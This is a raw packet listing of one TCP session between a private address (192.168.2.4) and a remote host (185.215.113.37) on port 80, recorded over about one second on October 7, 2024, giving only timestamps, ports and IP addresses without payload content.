Oct 7, 2024 21:19:06.300098896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300123930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300287962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300344944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300422907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300474882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300481081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300510883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300528049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300546885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300561905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300581932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300601006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300636053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300654888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300689936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.300715923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.300741911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423146009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423194885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423226118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423254013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423261881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423291922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423329115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423345089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423372984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423398018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423417091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423456907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423494101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423513889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423527956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423557997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423564911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423579931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423613071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423655033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423705101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423881054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423935890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423959017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.423971891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.423985958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.424034119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.424046993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.424078941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.424094915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.424122095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.424232960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.424280882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.424283981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.424314022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.424334049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.424360991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425020933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425055981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425079107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425101042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425110102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425143957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425158024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425179958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425194025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425211906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425244093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425246954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425278902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425280094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425292969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425316095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.425327063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.425384998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.547739029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.547786951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.547841072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.547877073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.547883034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.547910929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.547945976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.547990084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548007965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548023939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548058033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548132896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548132896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548132896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548152924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548194885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548216105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548222065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548275948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548286915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548327923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548329115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548417091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548440933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548468113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548468113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548502922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548522949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548538923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548567057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548595905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548655987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548688889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548705101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548722029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.548732042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.548769951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549565077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549621105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549623013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549664974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549670935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549706936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549734116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549751043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549752951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549797058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549820900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549854040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549879074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549886942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.549901009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.549932957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.633549929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.633596897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.633625031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.633671999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672385931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672432899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672493935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672524929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672528982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672580957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672620058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672652960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672688007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672688961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672688007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672688007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672688007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672703981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672722101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672738075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672756910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672774076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672789097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672804117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672822952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672837019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672878027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672892094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672933102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.672933102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672970057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.672980070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.673005104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.673017979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.673041105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.673062086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.673079014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.673095942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.673110008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.673129082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.673156023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.673286915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.673337936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.673408031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.673455000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674048901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674102068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674117088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674138069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674151897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674182892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674205065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674240112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674256086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674284935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674304962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674339056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674355984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674385071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674452066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674484968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674504042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674520016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674531937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674550056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.674566031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.674595118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.796531916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.796578884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.796606064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.796653032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.796880960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.796914101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.796928883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.796964884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.796968937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.797000885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.797028065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.797029018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.797064066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.797070026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.797108889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.797113895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.797142982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.797159910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.797178030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.797197104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.797218084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.797980070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798010111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798032045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798060894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798069000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798098087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798110008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798131943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798141956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798166037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798180103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798206091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798212051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798242092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798252106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798278093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798284054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798306942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798324108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798351049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798640013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798687935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798695087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798742056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798747063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798782110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798794031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798815012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798827887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798850060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798857927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798885107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798897982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798923969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.798929930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.798968077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.799020052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.799067020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.799083948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.799118042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.799130917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.799160957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.799184084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.799232006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921493053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921566010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921602011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921634912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921669006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921669006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921698093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921731949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921731949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921767950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921797037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921797037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921821117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921832085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921859980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921870947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921883106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921900988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.921921015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.921946049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922193050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922241926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922247887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922276974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922295094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922322035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922492981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922527075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922544003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922564983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922569990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922600985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922609091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922636032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922646999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922683001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922926903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.922976971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.922982931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923013926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923028946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923046112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923062086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923094988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923099041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923141003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923154116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923182964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923199892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923226118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923276901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923321009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923412085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923441887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923456907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923481941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923497915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923532963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923542976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923568010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923576117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923610926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:06.923660994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:06.923711061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046133995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046192884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046232939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046250105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046272993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046281099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046303034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046317101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046349049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046356916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046361923 CEST	49730	80	192.168.2.4	185.215.113.37
